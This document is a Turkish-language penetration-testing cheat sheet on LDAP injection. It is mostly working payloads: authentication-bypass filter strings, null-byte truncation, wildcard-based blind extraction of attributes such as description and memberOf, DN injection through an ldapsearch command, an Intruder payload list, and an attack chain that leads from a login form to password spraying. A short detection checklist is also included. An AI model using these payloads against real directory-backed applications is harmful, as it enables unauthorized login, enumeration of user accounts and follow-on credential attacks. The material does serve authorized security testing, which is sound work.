LDAP Injection
OWASP A03 difficulty: orta
LDAP Injection, uygulamanın kullanıcı girdisini bir LDAP arama filtresine temizlemeden yerleştirmesiyle oluşur. Saldırgan filtre metakarakterlerini (* ( ) & | = ) enjekte ederek kimlik doğrulamayı atlatabilir veya dizinden yetkisiz kayıt çekebilir. Active Directory / OpenLDAP ile entegre login ve arama formlarında sık görülür.
Filtre sözdizimi
Section titled “Filtre sözdizimi”(&(uid=alice)(userPassword=secret)) # AND(|(uid=alice)(uid=bob)) # OR(!(uid=alice)) # NOT(uid=*) # wildcard — tüm kayıtlar(uid=a*) # önekEscape edilmesi gerekenler: * ( ) \ NUL.
Kimlik doğrulama atlatma
Section titled “Kimlik doğrulama atlatma”Uygulama filtresi: (&(uid=$user)(userPassword=$pass))
# Wildcard ile parolayı etkisizleştirmeuser = *)(uid=*))(|(uid=*pass = anything# sonuç: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))# Her zaman doğru koşuluser = admin)(&)pass = xuser = admin))%00# null byte ile filtrenin kalanını kes (eski yığınlar)
user = *)(|(password=*)pass = *Login bind + search ayrıysa: injection search’te olabilir, bind’de olmayabilir — her iki yolu da test et.
Arama / liste uçları
Section titled “Arama / liste uçları”**)(uid=*))(|(uid=**)(memberof=CN=Admins,*)(|(cn=**)(objectClass=*)(|(objectClass=**)(|(mail=*@corp.com)GET /search?user=*)(uid=*))(|(uid=* HTTP/1.1Host: hedefKör veri sızdırma
Section titled “Kör veri sızdırma”-
Var/yok oracle’ı bul — admin* vs zzz* girdilerinde farklı yanıt (login OK/FAIL, sonuç sayısı, hata mesajı, timing).
-
Wildcard ile karakter tahmini — admin)(description=A* … charset boyunca öznitelik değerini çıkar.
-
Öznitelikleri say — mail , cn , telephoneNumber , memberOf için )(attr=* kalıbı.
-
İkili / önek daraltma — charset büyükse a* , ab* , abc* …
# Örnek: description özniteliğiuser = x*)(description=s*user = x*)(description=se*# Oracle true → devamDN injection
Section titled “DN injection”# Bind DN'e girdi birleşiyorsauser = alice,dc=example,dc=com)(|(uid=*# veyacn=admin)(|(cn=*ldapsearch -x -H ldap://dc -D "cn=$INPUT,dc=corp,dc=local" -w pass# $INPUT manipüleTespit checklist
Section titled “Tespit checklist”□ Login, arama, "forgot user", adres defteri, SSO directory lookup□ Payload: * ( ) & | = \ /□ Hata: "Bad search filter", javax.naming, LDAPException□ Blind: timing veya sonuç farkı□ AD: memberOf, sAMAccountName, userPrincipalNameAraç / Intruder
Section titled “Araç / Intruder”*)(uid=*))(|(uid=*admin)(&)admin**)(|(password=*)*)(objectClass=*)(|(objectClass=*admin))(|(uid=*ldapsearch / windapsearch — dışarıdan LDAP açıksa doğrudan enum# Uygulama katmanı injection ayrı; anon bind ayrı bulguSaldırı zinciri
Section titled “Saldırı zinciri”Login formu LDAP hatası / * yanıt farkı → auth bypass payload → veya blind attribute enum (mail, memberOf) → yüksek yetkili hesap adı → password spray